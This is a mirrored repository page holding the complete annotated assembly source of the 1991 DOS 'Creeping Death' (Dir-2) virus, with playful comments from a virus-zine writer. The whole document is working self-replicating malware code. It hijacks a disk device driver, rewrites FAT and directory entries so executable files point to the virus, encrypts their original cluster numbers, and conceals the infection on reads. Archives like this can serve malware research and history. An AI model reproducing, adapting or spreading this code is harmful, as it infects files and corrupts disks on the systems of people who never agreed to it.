mirror of
https://github.com/vxunderground/MalwareSourceCode.git
synced 2024-12-24 20:35:25 +00:00
564 lines
29 KiB
NASM
564 lines
29 KiB
NASM
|
; Dark Angel's comments: I spent my entire waking hours looking at this virus.
|
|||
|
; I love it. It is my life. I worship the drive it
|
|||
|
; infects. Take a look at it. Let not my troubles be
|
|||
|
; in vain. Why did I do this? I sacrifice my life for
|
|||
|
; the benefit of 40Hex. If you don't read this, I'm
|
|||
|
; gonna go join [NuKE].
|
|||
|
|
|||
|
; Creeping Death V 1.0
|
|||
|
;
|
|||
|
; (C) Copyright 1991 by VirusSoft Corp.
|
|||
|
|
|||
|
i13org = 5f8h
|
|||
|
i21org = 5fch
|
|||
|
|
|||
|
dir_2 segment byte public
|
|||
|
assume cs:dir_2, ds:dir_2
|
|||
|
|
|||
|
org 100h
|
|||
|
|
|||
|
start:
|
|||
|
mov sp,600h ; Set up the stack pointer
|
|||
|
inc word ptr counter ; Generation counter
|
|||
|
xor cx,cx
|
|||
|
mov ds,cx ; DS points to interrupt table
|
|||
|
lds ax, ds:[0c1h] ; Find interrupt 30h
|
|||
|
add ax,21h ; Change it to Int 21h
|
|||
|
push ds ; Save it on stack for use by
|
|||
|
push ax ; subroutine "jump"
|
|||
|
mov ah,30h ; Get DOS version
|
|||
|
call jump
|
|||
|
cmp al,4 ; DOS 4.X+ : SI = 0
|
|||
|
sbb si,si ; DOS 2/3 : SI = -1
|
|||
|
mov byte ptr [drive+2],byte ptr -1 ; Initialise last drive to
|
|||
|
; "never accessed"
|
|||
|
mov bx,60h ; Adjust memory in ES to
|
|||
|
mov ah,4ah ; BX paragraphs.
|
|||
|
call jump
|
|||
|
|
|||
|
mov ah,52h ; Get DOS List of Lists
|
|||
|
call jump ; to ES:BX
|
|||
|
push es:[bx-2] ; Save Segment of first MCB
|
|||
|
lds bx,es:[bx] ; DS:BX -> 1st DPB
|
|||
|
; (Drive parameter block)
|
|||
|
search: mov ax,[bx+si+15h] ; Get segment of device driver
|
|||
|
cmp ax,70h ; Is it CONFIG? (I think)
|
|||
|
jne next ; If not, try again
|
|||
|
xchg ax,cx ; Move driver segment to CX
|
|||
|
mov [bx+si+18h],byte ptr -1 ; Flag block must be rebuilt
|
|||
|
mov di,[bx+si+13h] ; Save offset of device driver
|
|||
|
; Original device driver
|
|||
|
; address in CX:DI
|
|||
|
mov [bx+si+13h],offset header ; Replace with our own
|
|||
|
mov [bx+si+15h],cs ; (header)
|
|||
|
next: lds bx,[bx+si+19h] ; Get next device block
|
|||
|
cmp bx,-1 ; Is it the last one?
|
|||
|
jne search ; If not, search it
|
|||
|
jcxz install
|
|||
|
|
|||
|
pop ds ; Restore segment of first
|
|||
|
mov ax,ds ; MCB
|
|||
|
add ax,ds:[3] ; Go to next MCB
|
|||
|
inc ax ; AX = segment next MCB
|
|||
|
mov dx,cs ; DX = MCB owning current
|
|||
|
dec dx ; program
|
|||
|
cmp ax,dx ; Are these the same?
|
|||
|
jne no_boot ; If not, we are not currently
|
|||
|
; in the middle of a reboot
|
|||
|
add word ptr ds:[3],61h ; Increase length owned by
|
|||
|
; MCB by 1552 bytes
|
|||
|
no_boot: mov ds,dx ; DS = MCB owning current
|
|||
|
; program
|
|||
|
mov word ptr ds:[1],8 ; Set owner = DOS
|
|||
|
|
|||
|
mov ds,cx ; DS = segment of original
|
|||
|
; device driver
|
|||
|
les ax,[di+6] ; ES = offset int handler
|
|||
|
; AX = offset strategy entry
|
|||
|
mov word ptr cs:str_block,ax ; Save entry point
|
|||
|
mov word ptr cs:int_block,es ; And int block for use in
|
|||
|
; function _in
|
|||
|
cld ; Scan for the write
|
|||
|
mov si,1 ; function in the
|
|||
|
scan: dec si ; original device driver
|
|||
|
lodsw
|
|||
|
cmp ax,1effh
|
|||
|
jne scan
|
|||
|
mov ax,2cah ; Wicked un-yar place o'
|
|||
|
cmp [si+4],ax ; doom.
|
|||
|
je right
|
|||
|
cmp [si+5],ax
|
|||
|
jne scan
|
|||
|
right: lodsw
|
|||
|
push cs
|
|||
|
pop es
|
|||
|
mov di,offset modify+1 ; Save address of patch
|
|||
|
stosw ; area so it can be changed
|
|||
|
xchg ax,si ; later.
|
|||
|
mov di,offset i13org ; This is in the stack, but
|
|||
|
cli ; it is used by "i13pr"
|
|||
|
movsw
|
|||
|
movsw
|
|||
|
|
|||
|
mov dx,0c000h ; Scan for hard disk ROM
|
|||
|
; Start search @ segment C000h
|
|||
|
fdsk1: mov ds,dx ; Load up the segment
|
|||
|
xor si,si ; atart at offset 0000h
|
|||
|
lodsw ; Scan for the signature
|
|||
|
cmp ax,0aa55h ; Is it the signature?
|
|||
|
jne fdsk4 ; If not, change segment
|
|||
|
cbw ; clear AH
|
|||
|
lodsb ; load a byte to AL
|
|||
|
mov cl,9
|
|||
|
sal ax,cl ; Shift left, 0 filled
|
|||
|
fdsk2: cmp [si],6c7h
|
|||
|
jne fdsk3
|
|||
|
cmp word ptr [si+2],4ch
|
|||
|
jne fdsk3
|
|||
|
push dx ; Save the segment
|
|||
|
push [si+4] ; and offset on stack
|
|||
|
jmp short death ; for use by i13pr
|
|||
|
|
|||
|
install: int 20h
|
|||
|
file: db "c:",255,0
|
|||
|
fdsk3: inc si ; Increment search offset
|
|||
|
cmp si,ax ; If we are not too high,
|
|||
|
jb fdsk2 ; try again
|
|||
|
fdsk4: inc dx ; Increment search segment
|
|||
|
cmp dh,0f0h ; If we are not in high
|
|||
|
jb fdsk1 ; memory, try again
|
|||
|
|
|||
|
sub sp,4 ; effectively push dummy vars.
|
|||
|
death: push cs ; on stack for use by i13pr
|
|||
|
pop ds
|
|||
|
mov bx,ds:[2ch] ; Get environment from PSP
|
|||
|
mov es,bx
|
|||
|
mov ah,49h ; Release it (to save memory)
|
|||
|
call jump
|
|||
|
xor ax,ax
|
|||
|
test bx,bx ; Is BX = 0?
|
|||
|
jz boot ; If so, we are booting now
|
|||
|
mov di,1 ; and not running a file
|
|||
|
seek: dec di ; Search for end of
|
|||
|
scasw ; the environment block
|
|||
|
jne seek
|
|||
|
lea si,[di+2] ; SI points to filename
|
|||
|
jmp short exec ; (in DOS 3.X+)
|
|||
|
; Execute that file
|
|||
|
boot: mov es,ds:[16h] ; get PSP of parent
|
|||
|
mov bx,es:[16h] ; get PSP of parent
|
|||
|
dec bx ; go to its MCB
|
|||
|
xor si,si
|
|||
|
exec: push bx
|
|||
|
mov bx,offset param ; Set up parameter block
|
|||
|
; for EXEC function
|
|||
|
mov [bx+4],cs ; segment to command line
|
|||
|
mov [bx+8],cs ; segment to 1st FCB
|
|||
|
mov [bx+12],cs ; segment to 2nd FCB
|
|||
|
pop ds
|
|||
|
push cs
|
|||
|
pop es
|
|||
|
|
|||
|
mov di,offset f_name
|
|||
|
push di ; Save filename offset
|
|||
|
mov cx,40 ; Copy the filename to
|
|||
|
rep movsw ; the buffer
|
|||
|
push cs
|
|||
|
pop ds
|
|||
|
|
|||
|
mov ah,3dh ; Handle open file
|
|||
|
mov dx,offset file ; "c:<3A>",0
|
|||
|
call jump
|
|||
|
pop dx ; DS:DX -> filename
|
|||
|
|
|||
|
mov ax,4b00h ; Load and Execute
|
|||
|
call jump ; ES:BX = param block
|
|||
|
mov ah,4dh ; Get errorlevel
|
|||
|
call jump
|
|||
|
mov ah,4ch ; Terminate
|
|||
|
|
|||
|
jump: pushf ; Simulate an interrupt 21h
|
|||
|
call dword ptr cs:[i21org]
|
|||
|
ret
|
|||
|
|
|||
|
|
|||
|
;--------Installation complete
|
|||
|
|
|||
|
i13pr: mov ah,3 ; Write AL sectors from ES:BX
|
|||
|
jmp dword ptr cs:[i13org] ; to track CH, sector CL,
|
|||
|
; head DH, drive DL
|
|||
|
|
|||
|
|
|||
|
main: push ax ; driver
|
|||
|
push cx ; strategy block
|
|||
|
push dx
|
|||
|
push ds
|
|||
|
push si
|
|||
|
push di
|
|||
|
|
|||
|
push es ; Move segment of parameter
|
|||
|
pop ds ; block to DS
|
|||
|
mov al,[bx+2] ; [bx+2] holds command code
|
|||
|
|
|||
|
cmp al,4 ; Input (read)
|
|||
|
je input
|
|||
|
cmp al,8 ; Output (write)
|
|||
|
je output
|
|||
|
cmp al,9 ; Output (write) with verify
|
|||
|
je output
|
|||
|
|
|||
|
call in_ ; Call original device
|
|||
|
cmp al,2 ; Request build BPB
|
|||
|
jne ppp ; If none of the above, exit
|
|||
|
lds si,[bx+12h] ; DS:SI point to BPB table
|
|||
|
mov di,offset bpb_buf ; Replace old pointer with
|
|||
|
mov es:[bx+12h],di ; a pointer to our own
|
|||
|
mov es:[bx+14h],cs ; BPB table
|
|||
|
push es ; Save segment of parameters
|
|||
|
push cs
|
|||
|
pop es
|
|||
|
mov cx,16 ; Copy the old BPB table to
|
|||
|
rep movsw ; our own
|
|||
|
pop es ; Restore parameter segment
|
|||
|
push cs
|
|||
|
pop ds
|
|||
|
mov al,[di+2-32] ; AL = sectors per allocation
|
|||
|
cmp al,2 ; unit. If less than
|
|||
|
adc al,0 ; 2, increment
|
|||
|
cbw ; Extend sign to AH (clear AH)
|
|||
|
cmp word ptr [di+8-32],0 ; Is total number sectors = 0?
|
|||
|
je m32 ; If so, big partition (>32MB)
|
|||
|
sub [di+8-32],ax ; Decrease space of disk by
|
|||
|
; one allocation unit(cluster)
|
|||
|
jmp short ppp ; Exit
|
|||
|
m32: sub [di+15h-32],ax ; Handle large partitions
|
|||
|
sbb word ptr [di+17h-32],0
|
|||
|
|
|||
|
ppp: pop di
|
|||
|
pop si
|
|||
|
pop ds
|
|||
|
pop dx
|
|||
|
pop cx
|
|||
|
pop ax
|
|||
|
rts: retf ; We are outta here!
|
|||
|
|
|||
|
output: mov cx,0ff09h
|
|||
|
call check ; is it a new disk?
|
|||
|
jz inf_sec ; If not, go away
|
|||
|
call in_ ; Call original device handler
|
|||
|
jmp short inf_dsk
|
|||
|
|
|||
|
inf_sec: jmp _inf_sec
|
|||
|
read: jmp _read
|
|||
|
read_: add sp,16 ; Restore the stack
|
|||
|
jmp short ppp ; Leave device driver
|
|||
|
|
|||
|
input: call check ; Is it a new disk?
|
|||
|
jz read ; If not, leave
|
|||
|
inf_dsk: mov byte ptr [bx+2],4 ; Set command code to READ
|
|||
|
cld
|
|||
|
lea si,[bx+0eh] ; Load from buffer address
|
|||
|
mov cx,8 ; Save device driver request
|
|||
|
save: lodsw ; on the stack
|
|||
|
push ax
|
|||
|
loop save
|
|||
|
mov word ptr [bx+14h],1 ; Starting sector number = 1
|
|||
|
; (Read 1st FAT)
|
|||
|
call driver ; Read one sector
|
|||
|
jnz read_ ; If error, exit
|
|||
|
mov byte ptr [bx+2],2 ; Otherwise build BPB
|
|||
|
call in_ ; Have original driver do the
|
|||
|
; work
|
|||
|
lds si,[bx+12h] ; DS:SI points to BPB table
|
|||
|
mov ax,[si+6] ; Number root directory entries
|
|||
|
add ax,15 ; Round up
|
|||
|
mov cl,4
|
|||
|
shr ax,cl ; Divide by 16 to find sectors
|
|||
|
; of root directory
|
|||
|
mov di,[si+0bh] ; DI = sectors/FAT
|
|||
|
add di,di ; Double for 2 FATs
|
|||
|
stc ; Add one for boot record
|
|||
|
adc di,ax ; Add sector size of root dir
|
|||
|
push di ; to find starting sector of
|
|||
|
; data (and read)
|
|||
|
cwd ; Clear DX
|
|||
|
mov ax,[si+8] ; AX = total sectors
|
|||
|
test ax,ax ; If it is zero, then we have
|
|||
|
jnz more ; an extended partition(>32MB)
|
|||
|
mov ax,[si+15h] ; Load DX:AX with total number
|
|||
|
mov dx,[si+17h] ; of sectors
|
|||
|
more: xor cx,cx
|
|||
|
sub ax,di ; Calculate FAT entry for last
|
|||
|
; sector of disk
|
|||
|
sbb dx,cx
|
|||
|
mov cl,[si+2] ; CL = sectors/cluster
|
|||
|
div cx ; AX = cluster #
|
|||
|
cmp cl,2 ; If there is more than 1
|
|||
|
sbb ax,-1 ; cluster/sector, add one
|
|||
|
push ax ; Save cluster number
|
|||
|
call convert ; AX = sector number to read
|
|||
|
; DX = offset in sector AX
|
|||
|
; of FAT entry
|
|||
|
; DI = mask for EOF marker
|
|||
|
mov byte ptr es:[bx+2],4 ; INPUT (read)
|
|||
|
mov es:[bx+14h],ax ; Starting sector = AX
|
|||
|
call driver ; One sector only
|
|||
|
again: lds si,es:[bx+0eh] ; DS:SI = buffer address
|
|||
|
add si,dx ; Go to FAT entry
|
|||
|
sub dh,cl ; Calculate a new encryption
|
|||
|
adc dx,ax ; value
|
|||
|
mov word ptr cs:gad+1,dx ; Change the encryption value
|
|||
|
cmp cl,1 ; If there is 0 cluster/sector
|
|||
|
je small_ ; then jump to "small_"
|
|||
|
mov ax,[si] ; Load AX with offset of FAT
|
|||
|
; entry
|
|||
|
and ax,di ; Mask it with value from
|
|||
|
; "convert" then test to see
|
|||
|
; if the sector is fine
|
|||
|
cmp ax,0fff7h ; 16 bit reserved/bad
|
|||
|
je bad
|
|||
|
cmp ax,0ff7h ; 12 bit reserved/bad
|
|||
|
je bad
|
|||
|
cmp ax,0ff70h ; 12 bit reserved/bad
|
|||
|
jne ok
|
|||
|
bad: pop ax ; Tried to replicate on a bad
|
|||
|
dec ax ; cluster. Try again on a
|
|||
|
push ax ; lower one.
|
|||
|
call convert ; Find where it is in the FAT
|
|||
|
jmp short again ; and try once more
|
|||
|
small_: not di ; Reverse mask bits
|
|||
|
and [si],di ; Clear other bits
|
|||
|
pop ax ; AX = cluster number
|
|||
|
push ax
|
|||
|
inc ax ; Need to do 2 consecutive
|
|||
|
push ax ; bytes
|
|||
|
mov dx,0fh
|
|||
|
test di,dx
|
|||
|
jz here
|
|||
|
inc dx ; Multiply by 16
|
|||
|
mul dx
|
|||
|
here: or [si],ax ; Set cluster to next
|
|||
|
pop ax ; Restore cluster of write
|
|||
|
call convert ; Calculate buffer offset
|
|||
|
mov si,es:[bx+0eh] ; Go to FAT entry (in buffer)
|
|||
|
add si,dx
|
|||
|
mov ax,[si]
|
|||
|
and ax,di
|
|||
|
ok: mov dx,di ; DI = mask from "convert"
|
|||
|
dec dx
|
|||
|
and dx,di ; Yerg!
|
|||
|
not di
|
|||
|
and [si],di
|
|||
|
or [si],dx ; Set [si] to DI
|
|||
|
|
|||
|
cmp ax,dx ; Did we change the FAT?
|
|||
|
pop ax ; i.e. Are we already on this
|
|||
|
pop di ; disk?
|
|||
|
mov word ptr cs:pointer+1,ax ; Our own starting cluster
|
|||
|
je _read_ ; If we didn't infect, then
|
|||
|
; leave the routine. Oh
|
|||
|
; welp-o.
|
|||
|
mov dx,[si]
|
|||
|
push ds
|
|||
|
push si
|
|||
|
call write ; Update the FAT
|
|||
|
pop si
|
|||
|
pop ds
|
|||
|
jnz _read_ ; Quit if there's an error
|
|||
|
call driver
|
|||
|
cmp [si],dx
|
|||
|
jne _read_
|
|||
|
dec ax
|
|||
|
dec ax
|
|||
|
mul cx ; Multiply by sectors/cluster
|
|||
|
; to find the sector of the
|
|||
|
; write
|
|||
|
add ax,di
|
|||
|
adc dx,0
|
|||
|
push es
|
|||
|
pop ds
|
|||
|
mov word ptr [bx+12h],2 ; Byte/sector count
|
|||
|
mov [bx+14h],ax ; Starting sector #
|
|||
|
test dx,dx
|
|||
|
jz less
|
|||
|
mov word ptr [bx+14h],-1 ; Flag extended partition
|
|||
|
mov [bx+1ah],ax ; Handle the sector of the
|
|||
|
mov [bx+1ch],dx ; extended partition
|
|||
|
less: mov [bx+10h],cs ; Transfer address segment
|
|||
|
mov [bx+0eh],100h ; and the offset (duh)
|
|||
|
call write ; Zopy ourselves!
|
|||
|
; (We want to travel)
|
|||
|
_read_: std
|
|||
|
lea di,[bx+1ch] ; Restore device driver header
|
|||
|
mov cx,8 ; from the stack
|
|||
|
load: pop ax
|
|||
|
stosw
|
|||
|
loop load
|
|||
|
_read: call in_ ; Call original device handler
|
|||
|
|
|||
|
mov cx,9
|
|||
|
_inf_sec:
|
|||
|
mov di,es:[bx+12h] ; Bytes/Sector
|
|||
|
lds si,es:[bx+0eh] ; DS:SI = pointer to buffer
|
|||
|
sal di,cl ; Multiply by 512
|
|||
|
; DI = byte count
|
|||
|
xor cl,cl
|
|||
|
add di,si ; Go to address in the buffer
|
|||
|
xor dl,dl ; Flag for an infection in
|
|||
|
; function find
|
|||
|
push ds
|
|||
|
push si
|
|||
|
call find ; Infect the directory
|
|||
|
jcxz no_inf
|
|||
|
call write ; Write it back to the disk
|
|||
|
and es:[bx+4],byte ptr 07fh ; Clear error bit in status
|
|||
|
; word
|
|||
|
no_inf: pop si
|
|||
|
pop ds
|
|||
|
inc dx ; Flag for a decryption in
|
|||
|
; function find
|
|||
|
call find ; Return right information to
|
|||
|
; calling program
|
|||
|
jmp ppp
|
|||
|
|
|||
|
;--------Subroutines
|
|||
|
|
|||
|
find: mov ax,[si+8] ; Check filename extension
|
|||
|
cmp ax,"XE" ; in directory structure
|
|||
|
jne com
|
|||
|
cmp [si+10],al
|
|||
|
je found
|
|||
|
com: cmp ax,"OC"
|
|||
|
jne go_on
|
|||
|
cmp byte ptr [si+10],"M"
|
|||
|
jne go_on
|
|||
|
found: test [si+1eh],0ffc0h ; >4MB ; Check file size high word
|
|||
|
jnz go_on ; to see if it is too big
|
|||
|
test [si+1dh],03ff8h ; <2048B ; Check file size low word
|
|||
|
jz go_on ; to see if it is too small
|
|||
|
test [si+0bh],byte ptr 1ch ; Check attribute for subdir,
|
|||
|
jnz go_on ; volume label or system file
|
|||
|
test dl,dl ; If none of these, check DX
|
|||
|
jnz rest ; If not 0, decrypt
|
|||
|
pointer: mov ax,1234h ; mov ax, XX modified elsewhere
|
|||
|
cmp ax,[si+1ah] ; Check for same starting
|
|||
|
; cluster number as us
|
|||
|
je go_on ; If it is, then try another
|
|||
|
xchg ax,[si+1ah] ; Otherwise make it point to
|
|||
|
; us.
|
|||
|
gad: xor ax,1234h ; Encrypt their starting
|
|||
|
; cluster
|
|||
|
mov [si+14h],ax ; And put it in area reserved
|
|||
|
; by DOS for no purpose
|
|||
|
loop go_on ; Try another file
|
|||
|
rest: xor ax,ax ; Disinfect the file
|
|||
|
xchg ax,[si+14h] ; Get starting cluster
|
|||
|
xor ax,word ptr cs:gad+1 ; Decrypt the starting cluster
|
|||
|
mov [si+1ah],ax ; and put it back
|
|||
|
go_on: db 2eh,0d1h,6 ; rol cs:[gad+1], 1
|
|||
|
dw offset gad+1 ; Change encryption and
|
|||
|
add si,32 ; go to next file
|
|||
|
cmp di,si ; If it is not past the end of
|
|||
|
jne find ; the buffer, then try again
|
|||
|
ret ; Otherwise quit
|
|||
|
|
|||
|
check: mov ah,[bx+1] ; ah = unit code (block device
|
|||
|
; only)
|
|||
|
drive: cmp ah,-1 ; cmp ah, XX can change.
|
|||
|
; Compare with the last call
|
|||
|
; -1 is just a dummy
|
|||
|
; impossible value that will
|
|||
|
; force the change to be true
|
|||
|
mov byte ptr cs:[drive+2],ah ; Save this call's drive
|
|||
|
jne changed ; If not the same as last call
|
|||
|
; media has changed
|
|||
|
push [bx+0eh] ; If it is the same physical
|
|||
|
; drive, see if floppy has
|
|||
|
; been changed
|
|||
|
mov byte ptr [bx+2],1 ; Tell original driver to do a
|
|||
|
call in_ ; media check (block only)
|
|||
|
cmp byte ptr [bx+0eh],1 ; Returns 1 in [bx+0eh] if
|
|||
|
pop [bx+0eh] ; media has not been changed
|
|||
|
mov [bx+2],al ; Restore command code
|
|||
|
changed: ret ; CF,ZF set if media has not
|
|||
|
; been changed, not set if
|
|||
|
; has been changed or we don't
|
|||
|
; know
|
|||
|
write: cmp byte ptr es:[bx+2],8 ; If we want OUTPUT, go to
|
|||
|
jae in_ ; original device handler
|
|||
|
; and return to caller
|
|||
|
mov byte ptr es:[bx+2],4 ; Otherwise, request INPUT
|
|||
|
mov si,70h
|
|||
|
mov ds,si ; DS = our segment
|
|||
|
modify: mov si,1234h ; Address is changed elsewhere
|
|||
|
push [si]
|
|||
|
push [si+2]
|
|||
|
mov [si],offset i13pr
|
|||
|
mov [si+2],cs
|
|||
|
call in_ ; Call original device handler
|
|||
|
pop [si+2]
|
|||
|
pop [si]
|
|||
|
ret
|
|||
|
|
|||
|
driver: mov word ptr es:[bx+12h],1 ; One sector
|
|||
|
in_: ; in_ first calls the strategy
|
|||
|
; of the original device
|
|||
|
; driver and then calls the
|
|||
|
; interrupt handler
|
|||
|
db 09ah ; CALL FAR PTR
|
|||
|
str_block:
|
|||
|
dw ?,70h ; address
|
|||
|
db 09ah ; CALL FAR PTR
|
|||
|
int_block:
|
|||
|
dw ?,70h ; address
|
|||
|
test es:[bx+4],byte ptr 80h ; Was there an error?
|
|||
|
ret
|
|||
|
|
|||
|
convert: cmp ax,0ff0h ; 0FFF0h if 12 bit FAT
|
|||
|
jae fat_16 ; 0FF0h = reserved cluster
|
|||
|
mov si,3 ; 12 bit FAT
|
|||
|
xor word ptr cs:[si+gad-1],si ; Change the encryption value
|
|||
|
mul si ; Multiply by 3 and
|
|||
|
shr ax,1 ; divide by 2
|
|||
|
mov di,0fffh ; Mark it EOF (low 12 bits)
|
|||
|
jnc cont ; if it is even, continue
|
|||
|
mov di,0fff0h ; otherwise, mark it EOF (high
|
|||
|
jmp short cont ; 12 bits) and then continue
|
|||
|
fat_16: mov si,2 ; 16 bit FAT
|
|||
|
mul si ; Double cluster #
|
|||
|
mov di,0ffffh ; Mark it as end of file
|
|||
|
cont: mov si,512
|
|||
|
div si ; AX = sector number
|
|||
|
; (relative to start of FAT)
|
|||
|
; DX = offset in sector AX
|
|||
|
header: inc ax ; Increment AX to account for
|
|||
|
ret ; boot record
|
|||
|
|
|||
|
counter: dw 0
|
|||
|
|
|||
|
dw 842h ; Attribute
|
|||
|
; Block device
|
|||
|
; DOS 3 OPEN/CLOSE removable
|
|||
|
; media calls supported
|
|||
|
; Generic IOCTL call supported
|
|||
|
; Supports 32 bit sectors
|
|||
|
dw offset main ; Strategy routine
|
|||
|
dw offset rts ; Interrupt routine (rtf)
|
|||
|
db 7fh ; Number of subunits supported
|
|||
|
; by this driver. Wow, lookit
|
|||
|
; it -- it's so large and juicy
|
|||
|
|
|||
|
; Parameter block format:
|
|||
|
; 0 WORD Segment of environment
|
|||
|
; 2 DWORD pointer to command line
|
|||
|
; 6 DWORD pointer to 1st default FCB
|
|||
|
;10 DWORD pointer to 2nd default FCB
|
|||
|
param: dw 0,80h,?,5ch,?,6ch,?
|
|||
|
|
|||
|
bpb_buf: db 32 dup(?)
|
|||
|
f_name: db 80 dup(?)
|
|||
|
|
|||
|
;--------The End.
|
|||
|
dir_2 ends
|
|||
|
end start
|